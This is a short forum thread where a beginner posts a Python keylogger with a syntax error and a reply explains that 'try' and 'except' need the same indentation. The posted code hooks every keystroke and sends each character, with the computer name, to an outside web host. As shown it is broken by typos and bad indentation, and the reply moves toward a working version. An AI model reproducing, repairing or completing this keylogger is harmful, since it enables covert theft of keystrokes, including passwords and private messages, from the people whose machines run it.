Simple keylogger error


#1

hi, Im new to python and first thing I am wanting to make is simple keylogger, but there is an error on "except" it says invalid syntax. Can someone help me please :slight_smile:

import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys
def OnKeyBoardEevent(event):
    try:
        params = urlliv.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
        conn = httplib.HTTPConnection("ogpy.sportsontheweb.net")
        conn.request("GET", "/index.php?" + params)
        except:
            pass
        return True
hook_manager = pyHook.HookManager() 
hook_manager.KeyDown = OnKeyBoardEvent 
hook_manager.HookKeyboard() 
pythoncom.PumpMessages()

#2

try and except should have the same indent level.